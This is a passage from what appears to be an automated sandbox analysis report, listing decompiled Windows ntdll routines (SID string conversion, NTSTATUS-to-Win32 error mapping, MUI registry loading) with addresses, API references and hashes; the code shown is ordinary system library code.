RtlRaiseException.1105(C0150010), ref: 6D2AD1C7

Strings

SXS: %s() Active frame is not the frame being deactivated %p != %p, xrefs: 6D2AD116
RtlDeactivateActivationContextUnsafeFast, xrefs: 6D2AD111

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise$Print
String ID: RtlDeactivateActivationContextUnsafeFast$SXS: %s() Active frame is not the frame being deactivated %p != %p
API String ID: 3901562751-4142264681
Opcode ID: d4884a347d7e6b9a381ce6ed0199f84d2741aacdc1be595bfc98a6215ed9ac79
Instruction ID: 9b56855321f87ee856a732ceac3eace9ad4844ec2e2884e2896c4f9c4dbcbf57
Opcode Fuzzy Hash: d4884a347d7e6b9a381ce6ed0199f84d2741aacdc1be595bfc98a6215ed9ac79
Instruction Fuzzy Hash: B58125B059835A8FD310CF19C484B1AFBE0FFC8349F148A2EE9999B251E3759585CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6D25A500, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6D25A500(void* __ebx, void* __esi, void* __eflags, intOrPtr _a4, void* _a8, char _a12) {
				signed int _v8;
				char _v10;
				char _v12;
				char _v508;
				char _v512;
				void _v520;
				struct _EXCEPTION_RECORD _v524;
				intOrPtr _v528;
				char _v532;
				void* __edi;
				void* __ebp;
				void* _t49;
				WCHAR* _t62;
				int _t65;
				void* _t80;
				signed char _t81;
				struct _EXCEPTION_RECORD _t82;
				int _t95;
				short _t98;
				void* _t112;
				short* _t114;
				signed short _t116;
				int _t117;
				signed int _t119;
				void* _t120;
				void* _t121;

				_t113 = __esi;
				_t80 = __ebx;
				_v8 =  *0x6d33d360 ^ _t119;
				_t112 = _a8;
				_push(_t112);
				_v524 = _a4;
				_t49 = E6D25A860(__eflags);
				if(_t49 != 1 ||  *_t112 != _t49) {
					_t50 = 0xc0000078;
					goto L25;
				} else {
					_push(__esi);
					E6D2971A0( &_v520, 0x100, L"S-1-");
					_t121 = _t120 + 0xc;
					_t114 =  &_v512;
					if( *(_t112 + 2) != 0 ||  *(_t112 + 3) != 0) {
						E6D297110( &_v520, 0x100, 0x6d23292c);
						_t114 =  &_v508;
						_t121 = _t121 + 0xc;
						_v528 = ( *(_t112 + 3) & 0x000000ff) + (( *(_t112 + 2) & 0x000000ff) << 8);
						_push(_t114);
						_v532 = (((( *(_t112 + 4) & 0x000000ff) << 8) + ( *(_t112 + 5) & 0x000000ff) << 8) + ( *(_t112 + 6) & 0x000000ff) << 8) + ( *(_t112 + 7) & 0x000000ff);
						_push(0xfa);
						_t50 = E6D2E5BFD(_t80,  &_v532, _t112, _t114, __eflags);
					} else {
						_t111 = 0xa;
						_t50 = E6D25A6C0((((( *(_t112 + 4) & 0x000000ff) << 8) + ( *(_t112 + 5) & 0x000000ff) << 8) + ( *(_t112 + 6) & 0x000000ff) << 8) + ( *(_t112 + 7) & 0x000000ff), 0xa, 0xfc, _t114);
					}
					if(_t50 < 0) {
						L24:
						_pop(_t113);
						L25:
						return E6D28B640(_t50, _t80, _v8 ^ _t119, _t111, _t112, _t113);
					} else {
						_push(_t80);
						_t81 = 0;
						if( *((intOrPtr*)(_t112 + 1)) <= 0) {
							L14:
							if(_a12 != 0) {
								_t62 =  &_v520;
								RtlCreateUnicodeString(_v524, _t62);
								__eflags = _t62;
								if(_t62 != 0) {
									L22:
									_t50 = 0;
									L23:
									_pop(_t80);
									goto L24;
								}
								_t50 = 0xc0000017;
								goto L23;
							}
							if(_t114 >=  &_v10) {
								L18:
								_t82 = _v524;
								_t116 = _t114 -  &_v520 & 0xfffffffe;
								_t65 =  *(_t82 + 2) & 0x0000ffff;
								_t95 = _t65;
								if(_t116 >= _t95) {
									_t50 = 0x80000005;
									goto L23;
								}
								_t112 =  *(_t82 + 4);
								_t117 = _t116 & 0x0000ffff;
								if(_t117 > _t65) {
									_t117 = _t95;
								}
								 *_t82 = _t117;
								memcpy(_t112,  &_v520, _t117);
								if(( *_t82 & 0x0000ffff) + 2 <= ( *(_t82 + 2) & 0x0000ffff)) {
									 *((short*)(_t112 + (_t117 >> 1) * 2)) = 0;
								}
								goto L22;
							}
							while( *_t114 != 0) {
								_t114 = _t114 + 2;
								if(_t114 <  &_v10) {
									continue;
								}
								goto L18;
							}
							goto L18;
						}
						_t98 = 0x2d;
						do {
							if(_t114 >=  &_v12) {
								L12:
								 *_t114 = _t98;
								_t114 = _t114 + 2;
								_t111 = 0xa;
								if(E6D25A6C0( *((intOrPtr*)(_t112 + 8 + (_t81 & 0x000000ff) * 4)), 0xa, 0x100 - (_t114 -  &_v520 >> 1), _t114) < 0) {
									goto L23;
								}
								goto L13;
							}
							while( *_t114 != 0) {
								_t114 = _t114 + 2;
								if(_t114 <  &_v12) {
									continue;
								}
								goto L12;
							}
							goto L12;
							L13:
							_t81 = _t81 + 1;
							_t98 = 0x2d;
						} while (_t81 <  *((intOrPtr*)(_t112 + 1)));
						goto L14;
					}
				}
			}

0x6d25a500
0x6d25a500
0x6d25a512
0x6d25a519
0x6d25a51c
0x6d25a51d
0x6d25a523
0x6d25a52a
0x6d2aa2c0
0x00000000
0x6d25a538
0x6d25a538
0x6d25a54a
0x6d25a54f
0x6d25a552
0x6d25a55c
0x6d2aa2db
0x6d2aa2e4
0x6d2aa2ee
0x6d2aa2fa
0x6d2aa31d
0x6d2aa31e
0x6d2aa32a
0x6d2aa32f
0x6d25a56c
0x6d25a570
0x6d25a598
0x6d25a598
0x6d25a59f
0x6d25a684
0x6d25a684
0x6d25a685
0x6d25a693
0x6d25a5a5
0x6d25a5a5
0x6d25a5a6
0x6d25a5ab
0x6d25a610
0x6d25a614
0x6d25a696
0x6d25a6a3
0x6d25a6a8
0x6d25a6aa
0x6d25a681
0x6d25a681
0x6d25a683
0x6d25a683
0x00000000
0x6d25a683
0x6d25a6ac
0x00000000
0x6d25a6ac
0x6d25a61f
0x6d25a631
0x6d25a631
0x6d25a63f
0x6d25a642
0x6d25a646
0x6d25a64a
0x6d25a6b7
0x00000000
0x6d25a6b7
0x6d25a64c
0x6d25a64f
0x6d25a655
0x6d25a6b3
0x6d25a6b3
0x6d25a65e
0x6d25a663
0x6d25a677
0x6d25a67d
0x6d25a67d
0x00000000
0x6d25a677
0x6d25a621
0x6d25a627
0x6d25a62f
0x00000000
0x00000000
0x00000000
0x6d25a62f
0x00000000
0x6d25a621
0x6d25a5ad
0x6d25a5b2
0x6d25a5b7
0x6d25a5d0
0x6d25a5d0
0x6d25a5d9
0x6d25a5dc
0x6d25a5fe
0x00000000
0x00000000
0x00000000
0x6d25a5fe
0x6d25a5c0
0x6d25a5c6
0x6d25a5ce
0x00000000
0x00000000
0x00000000
0x6d25a5ce
0x00000000
0x6d25a604
0x6d25a604
0x6d25a606
0x6d25a60b
0x00000000
0x6d25a5b2
0x6d25a59f

APIs

RtlValidSid.1105(00000050,?), ref: 6D25A523
wcscpy_s.1105(?,00000100,S-1-,?,00000050,?), ref: 6D25A54A

Part of subcall function 6D25A6C0: memcpy.1105(00000000,?,?,?,00000050,?,00000000), ref: 6D25A781

memcpy.1105(?,?,00000000,00000000,000000FC,?,?,00000050,?), ref: 6D25A663
RtlCreateUnicodeString.1105(?,?,00000000,000000FC,?,?,00000050,?), ref: 6D25A6A3
wcscat_s.1105(?,00000100,6D23292C,?,00000050,?), ref: 6D2AA2DB

Strings

S-1-, xrefs: 6D25A539

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$CreateStringUnicodeValidwcscat_swcscpy_s
String ID: S-1-
API String ID: 1445283056-1273753892
Opcode ID: 69b6908e7aee8c3655e9d24b28a06c3ec93ce209251e8a5784667c6866ec8fdd
Instruction ID: 095afbfac66534afd08a13f76719b2e12b19e362010fecf9fa95acbf5cdc2d09
Opcode Fuzzy Hash: 69b6908e7aee8c3655e9d24b28a06c3ec93ce209251e8a5784667c6866ec8fdd
Instruction Fuzzy Hash: 8C513BB1D8416F5ADF25CB288C55FB9F7F8BF05301F0641AAD569D3180E334AAA4CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D24CCC0, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E6D24CCC0(signed short _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				signed int _t36;
				signed short _t39;
				signed int _t46;
				signed int _t55;
				intOrPtr _t57;
				unsigned int _t67;
				intOrPtr _t70;
				signed int _t79;
				void* _t84;
				void* _t90;
				signed int _t92;
				void* _t93;

				_push(0xfffffffe);
				_push(0x6d31f828);
				_push(0x6d2917f0);
				_push( *[fs:0x0]);
				_t36 =  *0x6d33d360;
				_v12 = _v12 ^ _t36;
				_push(_t36 ^ _t92);
				 *[fs:0x0] =  &_v20;
				_v28 = _t93 - 0xc;
				_t57 =  *[fs:0x18];
				if(_t57 == 0) {
					_t39 = _a4;
				} else {
					_v8 = 0;
					_t39 = _a4;
					 *(_t57 + 0xbf4) = _t39;
					_v8 = 0xfffffffe;
				}
				if(_t39 == 0) {
					 *[fs:0x0] = _v20;
					return 0;
				} else {
					if(_t39 == 0x103) {
						 *[fs:0x0] = _v20;
						return 0x3e5;
					} else {
						if((_t39 & 0x20000000) != 0) {
							L16:
							 *[fs:0x0] = _v20;
							return _t39;
						} else {
							if((_t39 & 0x00ff0000) == 0x70000) {
								_t67 = _t39 >> 0x18;
								if(_t67 != 0xc0) {
									if(_t67 != 0x80) {
										goto L6;
									} else {
										goto L21;
									}
								} else {
									goto L21;
								}
							} else {
								L6:
								if((_t39 & 0xf0000000) == 0xd0000000) {
									_t39 = _t39 & 0xcfffffff;
								}
								_t90 = 0;
								_t84 = 0x11e;
								do {
									_t79 = _t84 + _t90 >> 1;
									_t70 =  *((intOrPtr*)(0x6d22a300 + _t79 * 8));
									_t55 = _t39 - _t70;
									if(_t39 < _t70) {
										_t84 = _t79 - 1;
										goto L11;
									} else {
										if(_t55 < ( *(0x6d22a304 + _t79 * 8) & 0x000000ff)) {
											_t46 =  *(0x6d22a306 + _t79 * 8) & 0x0000ffff;
											if( *((char*)(0x6d22a305 + _t79 * 8)) != 1) {
												_t39 = ( *(0x6d228692 + (_t46 + _t55 * 2) * 2) & 0x0000ffff) << 0x00000010 |  *(0x6d228690 + (_t46 + _t55 * 2) * 2) & 0x0000ffff;
											} else {
												_t39 =  *(0x6d228690 + (_t46 + _t55) * 2) & 0x0000ffff;
											}
											goto L16;
										} else {
											_t90 = _t79 + 1;
											goto L11;
										}
									}
									goto L28;
									L11:
								} while (_t90 <= _t84);
								if((_t39 & 0xffff0000) == 0xc0010000) {
									L21:
									 *[fs:0x0] = _v20;
									return _t39 & 0x0000ffff;
								} else {
									E6D24B150("RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping\n", _t39);
									E6D24B150();
									E6D24B150("RTL: ERROR_MR_MID_NOT_FOUND is being returned\n", "RTL: Edit ntos\\rtl\\generr.c to correct the problem\n");
									_t39 = 0x13d;
									goto L16;
								}
							}
						}
					}
				}
				L28:
			}

0x6d24ccc5
0x6d24ccc7
0x6d24cccc
0x6d24ccd7
0x6d24ccde
0x6d24cce3
0x6d24cce8
0x6d24ccec
0x6d24ccf2
0x6d24ccf5
0x6d24ccfe
0x6d2a4dc8
0x6d24cd04
0x6d24cd04
0x6d24cd0b
0x6d24cd0e
0x6d24cd14
0x6d24cd14
0x6d24cd1d
0x6d24cdca
0x6d24cdd8
0x6d24cd23
0x6d24cd28
0x6d24cde3
0x6d24cdf1
0x6d24cd2e
0x6d24cd33
0x6d24cdb1
0x6d24cdb4
0x6d24cdc2
0x6d24cd35
0x6d24cd43
0x6d24ce10
0x6d24ce19
0x6d2a4dd6
0x00000000
0x6d2a4ddc
0x00000000
0x6d2a4ddc
0x00000000
0x00000000
0x00000000
0x6d24cd49
0x6d24cd49
0x6d24cd57
0x6d2a4de1
0x6d2a4de1
0x6d24cd5d
0x6d24cd5f
0x6d24cd64
0x6d24cd67
0x6d24cd69
0x6d24cd72
0x6d24cd76
0x6d24cd90
0x00000000
0x6d24cd78
0x6d24cd82
0x6d24cd95
0x6d24cda5
0x6d24ce0a
0x6d24cda7
0x6d24cda9
0x6d24cda9
0x00000000
0x6d24cd84
0x6d24cd84
0x00000000
0x6d24cd84
0x6d24cd82
0x00000000
0x6d24cd87
0x6d24cd87
0x6d2a4df9
0x6d24ce1f
0x6d24ce25
0x6d24ce33
0x6d2a4dff
0x6d2a4e05
0x6d2a4e0f
0x6d2a4e1c
0x6d2a4e24
0x00000000
0x6d2a4e24
0x6d2a4df9
0x6d24cd43
0x6d24cd33
0x6d24cd28
0x00000000

APIs

DbgPrint.1105(RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,-00000F38,00000000,?,?), ref: 6D2A4E05
DbgPrint.1105(RTL: Edit ntos\rtl\generr.c to correct the problem,?,?,?,-00000F38,00000000,?,?), ref: 6D2A4E0F
DbgPrint.1105(RTL: ERROR_MR_MID_NOT_FOUND is being returned,?,-00000F38,00000000,?,?), ref: 6D2A4E1C

Strings

RTL: ERROR_MR_MID_NOT_FOUND is being returned, xrefs: 6D2A4E17
RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping, xrefs: 6D2A4E00
RTL: Edit ntos\rtl\generr.c to correct the problem, xrefs: 6D2A4E0A

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RTL: ERROR_MR_MID_NOT_FOUND is being returned$RTL: Edit ntos\rtl\generr.c to correct the problem$RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping
API String ID: 3558298466-1070408152
Opcode ID: 28141f1d688b99490173409d24093df6605881f14b30ddea445446b013aee327
Instruction ID: 41479660370fcc300cb97353d2ad5f8966aa72b98c7bcfd8a46e792003111501
Opcode Fuzzy Hash: 28141f1d688b99490173409d24093df6605881f14b30ddea445446b013aee327
Instruction Fuzzy Hash: 04415A76A9810ECAD71DCF5DD890BBAB7A4F745B11F00823AED15C3780DB3A9454D290

Uniqueness

Uniqueness Score: -1.00%

Function 6D27645B, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E6D27645B(void* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v36;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				void _v60;
				int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr* _t52;
				int _t56;
				void* _t69;
				int _t72;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t82;
				void* _t84;
				intOrPtr _t86;
				void* _t88;
				signed int _t90;
				signed int _t92;
				signed int _t93;

				_t80 = __edx;
				_t92 = (_t90 & 0xfffffff8) - 0x4c;
				_v8 =  *0x6d33d360 ^ _t92;
				_t72 = 0;
				_v72 = __edx;
				_t82 = __ecx;
				_t86 =  *((intOrPtr*)(__edx + 0xc8));
				_v68 = _t86;
				memset( &_v60, 0, 0x30);
				_t48 =  *((intOrPtr*)(_t82 + 0x70));
				_t93 = _t92 + 0xc;
				_v76 = _t48;
				_t49 = _t48;
				if(_t49 == 0) {
					_push(5);
					 *((char*)(_t82 + 0x6a)) = 0;
					 *((intOrPtr*)(_t82 + 0x6c)) = 0;
					goto L3;
				} else {
					_t69 = _t49 - 1;
					if(_t69 != 0) {
						if(_t69 == 1) {
							_push(0xa);
							goto L3;
						} else {
							_t56 = 0;
						}
					} else {
						_push(4);
						L3:
						_pop(_t50);
						_v80 = _t50;
						if(_a4 == _t72 && _t86 != 0 && _t50 != 0xa &&  *((char*)(_t82 + 0x6b)) == 1) {
							E6D262280(_t50, _t86 + 0x1c);
							_t79 = _v72;
							 *((intOrPtr*)(_t79 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
							 *((intOrPtr*)(_t79 + 0x88)) =  *((intOrPtr*)(_t82 + 0x68));
							 *((intOrPtr*)(_t79 + 0x8c)) =  *((intOrPtr*)(_t82 + 0x6c));
							 *((intOrPtr*)(_t79 + 0x90)) = _v80;
							 *((intOrPtr*)(_t79 + 0x20)) = _t72;
							E6D25FFB0(_t72, _t82, _t86 + 0x1c);
						}
						_t75 = _v80;
						_t52 =  *((intOrPtr*)(_v72 + 0x20));
						_t80 =  *_t52;
						_v72 =  *((intOrPtr*)(_t52 + 4));
						_v52 =  *((intOrPtr*)(_t82 + 0x68));
						_v60 = 0x30;
						_v56 = _t75;
						_v48 =  *((intOrPtr*)(_t82 + 0x6c));
						asm("movsd");
						_v76 = _t80;
						_v64 = 0x30;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						if(_t80 != 0) {
							 *0x6d33b1e0(_t75, _v72,  &_v64,  &_v60);
							_t72 = _v76();
						}
						_t56 = _t72;
					}
				}
				_pop(_t84);
				_pop(_t88);
				_pop(_t73);
				return E6D28B640(_t56, _t73, _v8 ^ _t93, _t80, _t84, _t88);
			}

0x6d27645b
0x6d276463
0x6d27646d
0x6d276475
0x6d27647a
0x6d27647e
0x6d276480
0x6d27648c
0x6d276490
0x6d276495
0x6d276498
0x6d27649b
0x6d27649f
0x6d2764a1
0x6d2b7c07
0x6d2b7c09
0x6d2b7c0c
0x00000000
0x6d2764a7
0x6d2764a7
0x6d2764aa
0x6d2b7bf7
0x6d2b7c00
0x00000000
0x6d2b7bf9
0x6d2b7bf9
0x6d2b7bf9
0x6d2764b0
0x6d2764b0
0x6d2764b2
0x6d2764b2
0x6d2764b3
0x6d2764ba
0x6d276553
0x6d27655e
0x6d276566
0x6d27656c
0x6d276575
0x6d27657f
0x6d276585
0x6d276588
0x6d276588
0x6d2764c7
0x6d2764cb
0x6d2764ce
0x6d2764d3
0x6d2764da
0x6d2764e5
0x6d2764ed
0x6d2764f1
0x6d2764f5
0x6d2764f6
0x6d2764fa
0x6d276502
0x6d276503
0x6d276504
0x6d276507
0x6d27651a
0x6d276524
0x6d276524
0x6d276526
0x6d276526
0x6d2764aa
0x6d27652c
0x6d27652d
0x6d27652e
0x6d276539

APIs

memset.1105(?,00000000,00000030,?,00000000,00000000), ref: 6D276490
RtlDebugPrintTimes.1105(?,00000030,00000030,00000030), ref: 6D27651A
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000), ref: 6D276553
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,00000000), ref: 6D276588

Strings

0, xrefs: 6D2764E5
0, xrefs: 6D2764FA

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireDebugPrintReleaseTimesmemset
String ID: 0$0
API String ID: 3207447552-203156872
Opcode ID: 9b0b92b880130be85cf9e57ea9a93be5b2bedc94bea91e9f2f7b55c1589d7fd0
Instruction ID: 4c489aeff14bb16758be049b39d26b9427cb7888d2745847c9d79ce0d01025b2
Opcode Fuzzy Hash: 9b0b92b880130be85cf9e57ea9a93be5b2bedc94bea91e9f2f7b55c1589d7fd0
Instruction Fuzzy Hash: EA416DB164874A9FC361CF28C484A1BBBE4BB89719F00856EF588DB341D771EA05CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 6D24E7B0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6D24E7B0(signed int __ecx, void* __edx, signed int* _a4, signed int _a8) {
				signed int _v8;
				char _v16;
				void* _v20;
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed int _t32;
				void* _t38;
				void* _t39;
				void* _t47;
				signed int* _t49;

				_t36 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_v8 = _v8 & 0x00000000;
				_t24 = 0;
				_t49 = _a4;
				if(_t49 == 0) {
					_t24 = 0xc000000d;
					L21:
					return _t24;
				}
				_t32 = _a8;
				if((_t32 & 0x00000800) != 0) {
					_t36 = _t49;
					_t24 = E6D253D34(_t49);
					if(0 < 0) {
						E6D24B150("*** RtlpMuiRegLoadLicInformation failed with status %x", 0);
						_pop(_t36);
						_t24 = 0;
					}
				}
				if((_t32 & 0x00000001) != 0) {
					_t36 = _t49;
					_t24 = E6D24DCA4(_t49, _t49, _t49);
				}
				if(_t24 < 0) {
					goto L21;
				}
				if((_t32 & 0x00000004) == 0) {
					L10:
					if((_t32 & 0x00000008) == 0) {
						L14:
						if((_t32 & 0x00000020) != 0) {
							E6D24E8B0(_t36, _t49, 0x20);
							_t36 = _t49;
							_t24 = E6D256FFD(_t32, _t49, 1, _t47, _t49, 1);
						}
						if(_t24 >= 0) {
							if((_t32 & 0x00000010) != 0) {
								E6D24E8B0(_t36, _t49, 0x10);
								_t24 = E6D256FFD(_t32, _t49, 0, _t47, _t49, 0);
							}
							if(_t24 >= 0) {
								asm("sbb ebx, ebx");
								_t24 = _t24 &  !( ~(_t32 & 0x00000200));
							}
						}
						goto L21;
					}
					E6D24E8B0(_t36, _t49, 8);
					_push(_t49);
					_t38 = 8;
					_t24 = E6D24E9ED(_t38,  &_v16);
					if(_t24 < 0) {
						goto L21;
					}
					_t36 = _v8;
					if(_t36 != 0) {
						 *_t49 =  *_t49 | 0x00000008;
						_t49[8] = _t36;
					}
					goto L14;
				}
				E6D24E8B0(_t36, _t49, 4);
				_push(_t49);
				_t39 = 4;
				_t24 = E6D24E9ED(_t39,  &_v16);
				if(_t24 < 0) {
					goto L21;
				}
				_t36 = _v8;
				if(_t36 != 0) {
					 *_t49 =  *_t49 | 0x00000004;
					_v8 = _v8 & 0x00000000;
					_t49[7] = _t36;
				}
				goto L10;
			}

0x6d24e7b0
0x6d24e7b8
0x6d24e7b9
0x6d24e7ba
0x6d24e7bf
0x6d24e7c3
0x6d24e7c8
0x6d2a5631
0x6d24e8a2
0x6d24e8a7
0x6d24e8a7
0x6d24e7ce
0x6d24e7d7
0x6d24e7d9
0x6d24e7db
0x6d24e7e2
0x6d2a5641
0x6d2a5647
0x6d2a5648
0x6d2a5648
0x6d24e7e2
0x6d24e7eb
0x6d24e7ef
0x6d24e7f1
0x6d24e7f1
0x6d24e7f8
0x00000000
0x00000000
0x6d24e801
0x6d24e833
0x6d24e836
0x6d24e85f
0x6d24e862
0x6d24e867
0x6d24e86e
0x6d24e871
0x6d24e871
0x6d24e878
0x6d24e87d
0x6d24e882
0x6d24e88b
0x6d24e88b
0x6d24e892
0x6d24e89c
0x6d24e8a0
0x6d24e8a0
0x6d24e892
0x00000000
0x6d24e878
0x6d24e83b
0x6d24e840
0x6d24e847
0x6d24e848
0x6d24e84f
0x00000000
0x00000000
0x6d24e851
0x6d24e857
0x6d24e859
0x6d24e85c
0x6d24e85c
0x00000000
0x6d24e857
0x6d24e806
0x6d24e80b
0x6d24e812
0x6d24e813
0x6d24e81a
0x00000000
0x00000000
0x6d24e820
0x6d24e826
0x6d24e828
0x6d24e82b
0x6d24e830
0x6d24e830
0x00000000

APIs

RtlpMuiRegFreeRegistryInfo.1105(0000EEEE,00000004,00000000,6D338638,?,?,?,6D24DB87,00000000,00000FFF,6D3366C0,00000000,0000EEEE,6D256DDE,6D3366C0,0000EEEE), ref: 6D24E806
RtlpMuiRegFreeRegistryInfo.1105(0000EEEE,00000008,00000000,6D338638,?,?,?,6D24DB87,00000000,00000FFF,6D3366C0,00000000,0000EEEE,6D256DDE,6D3366C0,0000EEEE), ref: 6D24E83B
RtlpMuiRegFreeRegistryInfo.1105(0000EEEE,00000020,00000000,6D338638,?,?,?,6D24DB87,00000000,00000FFF,6D3366C0,00000000,0000EEEE,6D256DDE,6D3366C0,0000EEEE), ref: 6D24E867
RtlpMuiRegFreeRegistryInfo.1105(0000EEEE,00000010,00000000,6D338638,?,?,?,6D24DB87,00000000,00000FFF,6D3366C0,00000000,0000EEEE,6D256DDE,6D3366C0,0000EEEE), ref: 6D24E882

Part of subcall function 6D253D34: RtlFreeHeap.1105(?,00000000,00000000,0000EEEE,00000000,0000EEEE,00000000,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253DB5
Part of subcall function 6D253D34: RtlAllocateHeap.1105(?,00000008,0000EEF2,0000EEEE,00000000,0000EEEE,00000000,0000EEEE,00000000,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253DF7
Part of subcall function 6D253D34: memcpy.1105(00000000,00000000,0000EEEE,?,00000008,0000EEF2,0000EEEE,00000000,0000EEEE,00000000,0000EEEE,00000000,6D3366C0,0000EEEE,00000002,6D24DB87), ref: 6D253E11
Part of subcall function 6D253D34: wcspbrk.1105(00000000,6D224E90,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253E24
Part of subcall function 6D253D34: RtlInitUnicodeString.1105(00000000,6D256DDE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253E44

DbgPrint.1105(*** RtlpMuiRegLoadLicInformation failed with status %x,00000000,00000000,6D338638,?,?,?,6D24DB87,00000000,00000FFF,6D3366C0,00000000,0000EEEE,6D256DDE,6D3366C0,0000EEEE), ref: 6D2A5641

Strings

*** RtlpMuiRegLoadLicInformation failed with status %x, xrefs: 6D2A563C

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Free$InfoRegistryRtlp$Heap$AllocateInitPrintStringUnicodememcpywcspbrk
String ID: *** RtlpMuiRegLoadLicInformation failed with status %x
API String ID: 2153691449-1080678469
Opcode ID: 404e8635001cbb9636302e141236d52a7622f94493829809c694e82cd8e1a6fa
Instruction ID: ad347e36ddf70ab8b30a1d1379e71a9227df6ed8e5b60216cbd75ceab322e9a7
Opcode Fuzzy Hash: 404e8635001cbb9636302e141236d52a7622f94493829809c694e82cd8e1a6fa
Instruction Fuzzy Hash: 8821E6303D971A6AFB5CDA26C982B7F7784AF40765F04C93CAEB1D61E0DB68D40083A5

Uniqueness

Uniqueness Score: -1.00%

Function 6D244510, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6D244510(signed int _a4) {
				signed int _t25;
				unsigned int _t28;
				intOrPtr _t32;
				signed int _t40;
				void* _t46;
				signed int _t47;
				signed int _t52;
				void* _t53;
				signed int _t55;

				_t47 = _a4;
				if(_t47 == 0) {
					return 0;
				}
				if(_t47 == 0x103) {
					return 0x3e5;
				}
				_t25 = _t47;
				if((_t47 & 0x20000000) == 0) {
					if((_t25 & 0x00ff0000) == 0x70000) {
						_t28 = _t47 >> 0x18;
						if(_t28 == 0xc0 || _t28 == 0x80) {
							L20:
							return _t47 & 0x0000ffff;
						} else {
							goto L4;
						}
					}
					L4:
					if((_t47 & 0xf0000000) == 0xd0000000) {
						_t47 = _t47 & 0xcfffffff;
					}
					_t53 = 0;
					_t46 = 0x11e;
					do {
						_t52 = _t46 + _t53 >> 1;
						_t32 =  *((intOrPtr*)(0x6d22a300 + _t52 * 8));
						_t55 = _t47 - _t32;
						if(_t47 < _t32) {
							_t10 = _t52 - 1; // -1
							_t46 = _t10;
							goto L10;
						}
						if(_t55 < ( *(0x6d22a304 + _t52 * 8) & 0x000000ff)) {
							_t40 =  *(0x6d22a306 + _t52 * 8) & 0x0000ffff;
							if( *((char*)(0x6d22a305 + _t52 * 8)) != 1) {
								return ( *(0x6d228692 + (_t40 + _t55 * 2) * 2) & 0x0000ffff) << 0x00000010 |  *(0x6d228690 + (_t40 + _t55 * 2) * 2) & 0x0000ffff;
							}
							return  *(0x6d228690 + (_t40 + _t55) * 2) & 0x0000ffff;
						}
						_t9 = _t52 + 1; // 0x1
